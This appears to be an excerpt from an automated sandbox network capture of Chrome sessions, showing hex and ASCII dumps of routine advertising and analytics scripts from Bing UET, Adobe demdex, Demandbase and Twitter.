2024-10-18 13:48:13 UTC	8192	IN	Data Raw: 6d 73 2e 69 64 22 3a 7b 7d 2c 22 69 74 65 6d 73 2e 6c 69 73 74 5f 6e 61 6d 65 22 3a 7b 7d 2c 22 69 74 65 6d 73 2e 6c 69 73 74 5f 70 6f 73 69 74 69 6f 6e 22 3a 7b 74 79 70 65 3a 22 69 6e 74 65 67 65 72 22 7d 2c 22 69 74 65 6d 73 2e 6c 6f 63 61 74 69 6f 6e 5f 69 64 22 3a 7b 7d 2c 22 69 74 65 6d 73 2e 6e 61 6d 65 22 3a 7b 7d 2c 22 69 74 65 6d 73 2e 70 72 69 63 65 22 3a 7b 74 79 70 65 3a 22 6e 75 6d 62 65 72 22 7d 2c 22 69 74 65 6d 73 2e 71 75 61 6e 74 69 74 79 22 3a 7b 74 79 70 65 3a 22 6e 75 6d 62 65 72 22 7d 2c 22 69 74 65 6d 73 2e 76 61 72 69 61 6e 74 22 3a 7b 7d 2c 70 72 6f 6d 6f 74 69 6f 6e 73 3a 7b 74 79 70 65 3a 22 61 72 72 61 79 22 7d 2c 22 70 72 6f 6d 6f 74 69 6f 6e 73 2e 63 72 65 61 74 69 76 65 5f 6e 61 6d 65 22 3a 7b 7d 2c 22 70 72 6f 6d 6f 74 69 Data Ascii: ms.id":{},"items.list_name":{},"items.list_position":{type:"integer"},"items.location_id":{},"items.name":{},"items.price":{type:"number"},"items.quantity":{type:"number"},"items.variant":{},promotions:{type:"array"},"promotions.creative_name":{},"promoti
2024-10-18 13:48:13 UTC	4736	IN	Data Raw: 73 43 6f 6f 6b 69 65 29 3b 74 68 69 73 2e 75 65 74 43 6f 6e 66 69 67 2e 6d 73 44 6e 73 3d 74 68 69 73 2e 67 65 74 43 6f 6f 6b 69 65 28 6c 2c 22 22 2c 31 29 3d 3d 3d 22 31 22 3b 74 68 69 73 2e 75 65 74 43 6f 6e 66 69 67 2e 64 69 73 61 62 6c 65 55 65 74 56 69 64 3d 21 31 3b 6f 2e 64 69 73 61 62 6c 65 55 65 74 56 69 64 3d 3d 3d 21 30 26 26 28 74 68 69 73 2e 75 65 74 43 6f 6e 66 69 67 2e 64 69 73 61 62 6c 65 55 65 74 56 69 64 3d 21 30 29 3b 74 68 69 73 2e 75 65 74 43 6f 6e 66 69 67 2e 76 69 64 43 6f 6f 6b 69 65 3d 22 5f 75 65 74 76 69 64 22 3b 74 68 69 73 2e 75 65 74 43 6f 6e 66 69 67 2e 75 69 64 43 6f 6f 6b 69 65 3d 22 5f 75 65 74 75 69 64 22 3b 6f 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 75 69 64 43 6f 6f 6b 69 65 22 29 26 26 6f 2e 75 69 64 43 6f Data Ascii: sCookie);this.uetConfig.msDns=this.getCookie(l,"",1)==="1";this.uetConfig.disableUetVid=!1;o.disableUetVid===!0&&(this.uetConfig.disableUetVid=!0);this.uetConfig.vidCookie="_uetvid";this.uetConfig.uidCookie="_uetuid";o.hasOwnProperty("uidCookie")&&o.uidCo
2024-10-18 13:48:13 UTC	8192	IN	Data Raw: 68 3e 31 26 26 6e 5b 30 5d 21 3d 3d 74 68 69 73 2e 70 61 67 65 4c 6f 61 64 45 76 74 29 74 3d 6e 5b 30 5d 2c 69 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 6e 2c 31 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 3b 74 68 69 73 2e 75 65 74 49 6e 73 74 61 6e 63 65 2e 75 65 74 4c 6f 61 64 65 64 7c 7c 74 68 69 73 2e 65 76 71 43 44 69 73 70 61 74 63 68 26 26 74 68 69 73 2e 70 72 6f 63 65 73 73 45 61 72 6c 79 5b 74 5d 3f 74 68 69 73 2e 75 65 74 49 6e 73 74 61 6e 63 65 2e 5f 70 75 73 68 28 5b 74 2c 69 2c 72 5d 29 3a 74 68 69 73 2e 75 65 74 49 6e 73 74 61 6e 63 65 2e 65 76 65 6e 74 50 75 73 68 51 75 65 75 65 2e 70 75 73 68 28 5b 74 2c 69 2c 72 5d 29 7d 3b 74 68 69 73 2e 5f 70 75 73 68 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 Data Ascii: h>1&&n[0]!==this.pageLoadEvt)t=n[0],i=Array.prototype.slice.call(n,1);else return;this.uetInstance.uetLoaded\|\|this.evqCDispatch&&this.processEarly[t]?this.uetInstance._push([t,i,r]):this.uetInstance.eventPushQueue.push([t,i,r])};this._push=function(n){var
2024-10-18 13:48:13 UTC	8192	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 6d 65 74 61 22 29 2e 6b 65 79 77 6f 72 64 73 26 26 28 75 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 6d 65 74 61 22 29 2e 6b 65 79 77 6f 72 64 73 2e 63 6f 6e 74 65 6e 74 2c 74 68 69 73 2e 73 74 72 69 6e 67 45 78 69 73 74 73 28 75 29 26 26 28 6e 2e 6b 77 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 75 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 69 2c 22 2c 22 29 29 29 2c 74 3f 74 68 69 73 2e 73 74 72 69 6e 67 45 78 69 73 74 73 28 74 68 69 73 2e 70 72 65 76 69 6f 75 73 50 61 67 65 29 26 26 21 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 72 22 29 26 26 28 6e 2e 72 3d 74 68 69 73 Data Ascii: getElementsByTagName("meta").keywords&&(u=window.document.head.getElementsByTagName("meta").keywords.content,this.stringExists(u)&&(n.kw=encodeURIComponent(u).replace(/%2C/gi,","))),t?this.stringExists(this.previousPage)&&!n.hasOwnProperty("r")&&(n.r=this
2024-10-18 13:48:13 UTC	8192	IN	Data Raw: 26 26 28 74 2e 70 72 6f 64 69 64 3d 74 2e 65 63 6f 6d 6d 5f 70 72 6f 64 69 64 2c 64 65 6c 65 74 65 20 74 2e 65 63 6f 6d 6d 5f 70 72 6f 64 69 64 29 3b 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 65 63 6f 6d 6d 5f 70 61 67 65 74 79 70 65 22 29 3e 30 26 26 28 74 2e 70 61 67 65 74 79 70 65 3d 74 2e 65 63 6f 6d 6d 5f 70 61 67 65 74 79 70 65 2c 64 65 6c 65 74 65 20 74 2e 65 63 6f 6d 6d 5f 70 61 67 65 74 79 70 65 29 3b 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 70 61 67 65 74 79 70 65 22 29 26 26 28 74 2e 70 61 67 65 74 79 70 65 3d 3d 6e 75 6c 6c 7c 7c 74 2e 70 61 67 65 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 28 29 3d 3d 3d 22 22 29 26 26 64 65 6c 65 74 65 20 74 2e 70 61 67 65 74 79 70 65 3b 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 Data Ascii: &&(t.prodid=t.ecomm_prodid,delete t.ecomm_prodid);t.hasOwnProperty("ecomm_pagetype")>0&&(t.pagetype=t.ecomm_pagetype,delete t.ecomm_pagetype);t.hasOwnProperty("pagetype")&&(t.pagetype==null\|\|t.pagetype.toString()==="")&&delete t.pagetype;t.hasOwnProperty(
2024-10-18 13:48:13 UTC	8192	IN	Data Raw: 76 61 72 20 69 3d 74 68 69 73 2e 63 6c 6f 6e 65 28 6e 29 3b 72 65 74 75 72 6e 20 69 2e 61 6c 74 26 26 64 65 6c 65 74 65 20 69 2e 61 6c 74 2c 74 68 69 73 2e 63 6c 6f 6e 65 28 74 2c 69 29 7d 3b 74 68 69 73 2e 66 69 72 65 42 65 61 63 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 6f 72 28 76 61 72 20 69 2c 73 2c 65 3d 74 68 69 73 2e 67 65 74 43 6c 55 72 6c 28 74 68 69 73 2e 75 72 6c 50 72 65 66 69 78 29 2c 74 3d 74 68 69 73 2e 63 6f 6d 62 69 6e 65 28 74 68 69 73 2e 62 65 61 63 6f 6e 50 61 72 61 6d 73 2c 6e 29 2c 72 3d 74 68 69 73 2e 73 74 72 69 6e 67 69 66 79 54 6f 52 65 71 75 65 73 74 28 74 29 2c 66 3d 74 68 69 73 2e 72 65 6d 6f 76 65 54 72 61 69 6c 69 6e 67 41 6d 70 28 65 2b 72 29 2c 6f 3d 5b 22 72 22 2c 22 65 6c 32 22 2c 22 65 63 32 22 2c 22 65 61 32 22 Data Ascii: var i=this.clone(n);return i.alt&&delete i.alt,this.clone(t,i)};this.fireBeacon=function(n){for(var i,s,e=this.getClUrl(this.urlPrefix),t=this.combine(this.beaconParams,n),r=this.stringifyToRequest(t),f=this.removeTrailingAmp(e+r),o=["r","el2","ec2","ea2"
2024-10-18 13:48:13 UTC	2609	IN	Data Raw: 6f 6d 6d 5f 74 6f 74 61 6c 76 61 6c 75 65 22 29 3b 74 68 69 73 2e 6d 61 70 47 74 6d 55 61 73 50 72 6f 64 75 63 74 73 28 6e 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 75 61 5f 65 22 3a 74 68 69 73 2e 6d 61 70 47 74 6d 45 63 6f 6d 6d 65 72 63 65 50 75 72 63 68 61 73 65 28 6e 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 67 61 34 22 3a 74 68 69 73 2e 72 65 70 6c 61 63 65 47 74 6d 50 61 72 61 6d 28 6e 2c 22 76 61 6c 75 65 22 2c 22 65 76 65 6e 74 5f 76 61 6c 75 65 22 29 3b 74 68 69 73 2e 6d 61 70 47 74 6d 47 61 34 49 74 65 6d 73 28 6e 29 7d 72 65 74 75 72 6e 20 6e 7d 3b 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 55 72 6c 43 68 61 6e 67 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d Data Ascii: omm_totalvalue");this.mapGtmUasProducts(n);break;case"ua_e":this.mapGtmEcommercePurchase(n);break;case"ga4":this.replaceGtmParam(n,"value","event_value");this.mapGtmGa4Items(n)}return n};var t=window.location.href;this.documentUrlChanged=function(){var n=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.8	50805	52.49.4.19	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	519	OUT	GET /id?d_visid_ver=5.5.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=8AD56F28618A50850A495FB6%40AdobeOrg&d_nsid=0&ts=1729259290356 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=64977079024833184161452952043619543345
2024-10-18 13:48:13 UTC	712	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:13 GMT Content-Type: application/json;charset=utf-8 Content-Length: 372 Connection: close X-TID: 5hz9aj4zQxI= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" DCS: dcs-prod-irl1-1-v067-0a91a9100.edge-irl1.demdex.com 5 ms set-cookie: demdex=64977079024833184161452952043619543345; Max-Age=15552000; Expires=Wed, 16 Apr 2025 13:48:13 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-18 13:48:13 UTC	372	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 35 39 30 32 38 35 37 32 36 31 35 35 35 34 35 36 31 37 30 32 33 30 30 39 38 32 37 36 30 35 34 33 38 36 30 34 39 31 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 52 4b 68 70 52 7a 38 6b 72 67 32 74 4c 4f 36 70 67 75 58 57 70 35 6f 6c 6b 41 63 55 6e 69 51 59 50 48 61 4d 57 57 67 64 4a 33 78 7a 50 57 51 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 34 31 31 22 2c 22 74 74 6c 22 3a 31 30 30 38 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 31 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 31 2c 22 75 72 6c 22 3a 5b 22 2f 2f 63 6d 2e 65 76 65 72 Data Ascii: {"d_mid":"59028572615554561702300982760543860491","id_sync_ttl":604800,"d_blob":"RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"411","ttl":10080,"tag":"img","fireURLSync":1,"syncOnPage":1,"url":["//cm.ever

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.8	50807	3.165.136.22	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	365	OUT	GET /1be41a80498a5b73.min.js HTTP/1.1 Host: tag.demandbase.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:13 UTC	860	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 64734 Connection: close Last-Modified: Thu, 17 Oct 2024 13:51:57 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: aYeOA6UPTpCQ72yXR.OcDtZqea_P7JQj Accept-Ranges: bytes Server: AmazonS3 Date: Fri, 18 Oct 2024 13:16:01 GMT Cache-Control: public, max-age=3600 ETag: "47951ea2a5280279f832b39c9899512a" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 82fd7588f1d984240495d75688ea598c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: CDG52-P3 X-Amz-Cf-Id: bKYqf8B8FAp-TiOuTkjGsvjB6NMJvHgZKzVDbVRwR7FS6zP4VAC-Uw== Age: 1933 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload permissions-policy: accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=(), interest-cohort=()
2024-10-18 13:48:13 UTC	8949	IN	Data Raw: 28 28 29 3d 3e 7b 6c 65 74 20 65 3d 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 7c 7c 7b 6c 6f 67 28 29 7b 7d 2c 64 65 62 75 67 28 29 7b 7d 7d 2c 69 3d 77 69 6e 64 6f 77 2e 4a 53 4f 4e 7c 7c 7b 73 74 72 69 6e 67 69 66 79 28 29 7b 7d 2c 70 61 72 73 65 28 29 7b 7d 7d 2c 6c 3d 6e 65 77 20 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 63 6f 6e 73 6f 6c 65 3d 65 2c 74 68 69 73 2e 4a 53 4f 4e 3d 69 7d 69 6e 64 65 78 4f 66 28 65 2c 69 2c 74 29 7b 69 66 28 6e 75 6c 6c 3d 3d 65 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 41 72 72 61 79 2e 69 6e 64 65 78 4f 66 20 63 61 6c 6c 65 64 20 6f 6e 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 3f 65 2e 69 6e 64 65 78 4f 66 Data Ascii: (()=>{let e=window.console\|\|{log(){},debug(){}},i=window.JSON\|\|{stringify(){},parse(){}},l=new class{constructor(){this.console=e,this.JSON=i}indexOf(e,i,t){if(null==e)throw TypeError("Array.indexOf called on null or undefined");return e.indexOf?e.indexOf
2024-10-18 13:48:13 UTC	16384	IN	Data Raw: 5d 29 3b 6f 26 26 61 2e 70 75 73 68 28 7b 66 69 6c 65 3a 6f 5b 32 5d 2c 6c 69 6e 65 3a 74 68 69 73 2e 5f 70 61 72 73 65 49 6e 74 28 6f 5b 31 5d 29 7d 29 7d 72 65 74 75 72 6e 20 61 7d 70 61 72 73 65 4f 70 65 72 61 31 30 28 65 29 7b 76 61 72 20 74 3d 2f 4c 69 6e 65 20 28 5c 64 2b 29 2e 2a 73 63 72 69 70 74 20 28 3f 3a 69 6e 20 29 3f 28 5c 53 2b 29 28 3f 3a 3a 20 49 6e 20 66 75 6e 63 74 69 6f 6e 20 28 5c 53 2b 29 29 3f 24 2f 69 2c 6e 3d 65 2e 73 74 61 63 6b 74 72 61 63 65 2e 73 70 6c 69 74 28 22 5c 6e 22 29 2c 61 3d 5b 5d 3b 66 6f 72 28 6c 65 74 20 65 3d 30 2c 69 3d 6e 2e 6c 65 6e 67 74 68 3b 65 3c 69 3b 65 2b 3d 32 29 7b 76 61 72 20 6f 3d 74 2e 65 78 65 63 28 6e 5b 65 5d 29 3b 6f 26 26 61 2e 70 75 73 68 28 7b 66 75 6e 63 74 69 6f 6e 3a 6f 5b 33 5d 7c 7c 76 Data Ascii: ]);o&&a.push({file:o[2],line:this._parseInt(o[1])})}return a}parseOpera10(e){var t=/Line (\d+).*script (?:in )?(\S+)(?:: In function (\S+))?$/i,n=e.stacktrace.split("\n"),a=[];for(let e=0,i=n.length;e<i;e+=2){var o=t.exec(n[e]);o&&a.push({function:o[3]\|\|v
2024-10-18 13:48:13 UTC	16384	IN	Data Raw: 26 21 74 68 69 73 2e 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e 70 6f 6c 6c 69 6e 67 2e 68 61 73 42 65 65 6e 49 6e 69 74 69 61 6c 69 7a 65 64 3f 28 67 2e 6c 6f 67 28 22 4c 6f 61 64 65 64 20 77 69 74 68 20 70 6f 6c 6c 69 6e 67 20 63 6f 75 6e 74 3a 22 2b 74 68 69 73 2e 70 6f 6c 6c 43 6f 75 6e 74 29 2c 74 68 69 73 2e 5f 73 65 6e 64 43 61 63 68 65 64 45 76 65 6e 74 73 57 68 65 6e 50 6f 6c 6c 69 6e 67 45 6e 64 28 29 29 3a 74 68 69 73 2e 70 6f 6c 6c 43 6f 75 6e 74 3e 74 68 69 73 2e 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e 70 6f 6c 6c 69 6e 67 2e 6d 61 78 43 6f 75 6e 74 7c 7c 74 68 69 73 2e 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e 70 6f 6c 6c 69 6e 67 2e 68 61 73 42 65 65 6e 49 6e 69 74 69 61 6c 69 7a 65 64 3f 28 74 68 69 73 2e 5f 73 65 6e 64 43 61 63 68 65 64 Data Ascii: &!this.configuration.polling.hasBeenInitialized?(g.log("Loaded with polling count:"+this.pollCount),this._sendCachedEventsWhenPollingEnd()):this.pollCount>this.configuration.polling.maxCount\|\|this.configuration.polling.hasBeenInitialized?(this._sendCached
2024-10-18 13:48:13 UTC	3339	IN	Data Raw: 6e 61 67 65 72 29 2c 74 68 69 73 29 2c 74 68 69 73 2e 5f 73 65 74 75 70 28 29 7d 69 6e 69 74 69 61 6c 69 7a 65 28 29 7b 73 75 70 65 72 2e 69 6e 69 74 69 61 6c 69 7a 65 28 29 2c 6d 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 74 68 69 73 2e 63 61 6c 6c 62 61 63 6b 2e 62 69 6e 64 28 74 68 69 73 29 29 7d 63 61 6c 6c 62 61 63 6b 28 65 29 7b 74 68 69 73 2e 70 75 73 68 54 6f 44 61 74 61 4c 61 79 65 72 28 65 29 7d 70 75 73 68 54 6f 44 61 74 61 4c 61 79 65 72 28 69 2c 74 29 7b 6c 65 74 20 6e 3d 30 2c 61 3d 28 29 3d 3e 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 5f 74 61 67 5f 6d 61 6e 61 67 65 72 26 26 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 61 Data Ascii: nager),this),this._setup()}initialize(){super.initialize(),m.registerCallback(this.callback.bind(this))}callback(e){this.pushToDataLayer(e)}pushToDataLayer(i,t){let n=0,a=()=>{var e;return window.google_tag_manager&&window.dataLayer&&"function"==typeof da
2024-10-18 13:48:13 UTC	8949	IN	Data Raw: 43 4f 4e 46 49 47 55 52 41 54 49 4f 4e 29 2c 74 68 69 73 2e 77 72 61 70 70 65 64 45 78 70 65 72 69 65 6e 63 65 73 3d 7b 7d 2c 74 68 69 73 2e 69 6e 69 74 69 61 6c 69 7a 65 64 3d 21 31 2c 74 68 69 73 2e 5f 73 65 74 75 70 3d 28 29 3d 3e 28 74 68 69 73 2e 70 72 65 54 61 67 4d 6f 64 75 6c 65 45 6e 61 62 6c 65 64 3d 21 21 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 50 72 65 54 61 67 2c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 43 6f 6e 66 69 67 3d 65 2c 73 75 70 65 72 2e 6d 65 72 67 65 43 6f 6e 66 69 67 73 28 74 68 69 73 2e 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2c 74 68 69 73 2e 44 45 46 41 55 4c 54 5f 43 4f 4e 46 49 47 55 52 41 54 49 4f 4e 2c 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 43 6f 6e 66 69 67 2e 53 69 74 65 43 75 73 74 6f Data Ascii: CONFIGURATION),this.wrappedExperiences={},this.initialized=!1,this._setup=()=>(this.preTagModuleEnabled=!!window.Demandbase.PreTag,this.constructorConfig=e,super.mergeConfigs(this.configuration,this.DEFAULT_CONFIGURATION,window.Demandbase.Config.SiteCusto
2024-10-18 13:48:13 UTC	10729	IN	Data Raw: 44 65 6d 61 6e 64 62 61 73 65 2e 55 74 69 6c 69 74 69 65 73 3d 77 2c 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 55 74 69 6c 69 74 69 65 73 2e 41 70 69 7c 7c 28 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 55 74 69 6c 69 74 69 65 73 2e 41 70 69 3d 73 29 2c 6c 2e 61 73 73 69 67 6e 28 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 55 74 69 6c 69 74 69 65 73 2e 41 70 69 2c 73 29 2c 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 55 74 69 6c 69 74 69 65 73 2e 43 6f 6e 73 74 61 6e 74 73 7c 7c 28 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 55 74 69 6c 69 74 69 65 73 2e 43 6f 6e 73 74 61 6e 74 73 3d 63 29 2c 77 69 6e 64 6f 77 2e 44 65 6d 61 6e 64 62 61 73 65 2e 75 74 69 6c 73 2e 74 6f 6b 65 6e 73 7c 7c 28 77 69 6e 64 6f Data Ascii: Demandbase.Utilities=w,window.Demandbase.Utilities.Api\|\|(window.Demandbase.Utilities.Api=s),l.assign(window.Demandbase.Utilities.Api,s),window.Demandbase.Utilities.Constants\|\|(window.Demandbase.Utilities.Constants=c),window.Demandbase.utils.tokens\|\|(windo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.8	50806	146.75.88.157	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	352	OUT	GET /uwt.js HTTP/1.1 Host: static.ads-twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:13 UTC	538	IN	HTTP/1.1 200 OK Connection: close Content-Length: 57671 Last-Modified: Tue, 26 Mar 2024 20:58:07 GMT ETag: "bbbcf811d8437a575d796a4c1e5d4fad" x-amz-server-side-encryption: AES256 Cache-Control: no-cache Content-Type: application/javascript; charset=utf-8 Accept-Ranges: bytes Date: Fri, 18 Oct 2024 13:48:13 GMT X-Served-By: cache-iad-kcgs7200117-IAD, cache-lis1490057-LIS X-Cache: HIT, HIT Vary: Accept-Encoding,Host P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT" x-tw-cdn: FT
2024-10-18 13:48:13 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 7b 36 31 37 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3b 74 2e 65 78 70 6f 72 74 73 3d 28 72 3d 72 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 26 26 28 72 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2e 63 72 79 70 74 6f 26 26 28 72 3d 73 65 6c 66 2e 63 72 79 70 74 6f 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 26 26 28 72 3d Data Ascii: !function(){var t={6173:function(t,e,n){var r;t.exports=(r=r\|\|function(t,e){var r;if("undefined"!=typeof window&&window.crypto&&(r=window.crypto),"undefined"!=typeof self&&self.crypto&&(r=self.crypto),"undefined"!=typeof globalThis&&globalThis.crypto&&(r=
2024-10-18 13:48:13 UTC	1378	IN	Data Raw: 74 68 69 73 2e 77 6f 72 64 73 3d 74 7c 7c 5b 5d 2c 74 68 69 73 2e 73 69 67 42 79 74 65 73 3d 6e 75 6c 6c 21 3d 65 3f 65 3a 34 2a 74 2e 6c 65 6e 67 74 68 7d 2c 74 6f 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 7c 7c 66 29 2e 73 74 72 69 6e 67 69 66 79 28 74 68 69 73 29 7d 2c 63 6f 6e 63 61 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 77 6f 72 64 73 2c 6e 3d 74 2e 77 6f 72 64 73 2c 72 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 2c 69 3d 74 2e 73 69 67 42 79 74 65 73 3b 69 66 28 74 68 69 73 2e 63 6c 61 6d 70 28 29 2c 72 25 34 29 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 69 3b 6f 2b 2b 29 7b 76 61 72 20 61 3d 6e 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 72 2b 6f Data Ascii: this.words=t\|\|[],this.sigBytes=null!=e?e:4t.length},toString:function(t){return(t\|\|f).stringify(this)},concat:function(t){var e=this.words,n=t.words,r=this.sigBytes,i=t.sigBytes;if(this.clamp(),r%4)for(var o=0;o<i;o++){var a=n[o>>>2]>>>24-o%48&255;e[r+o
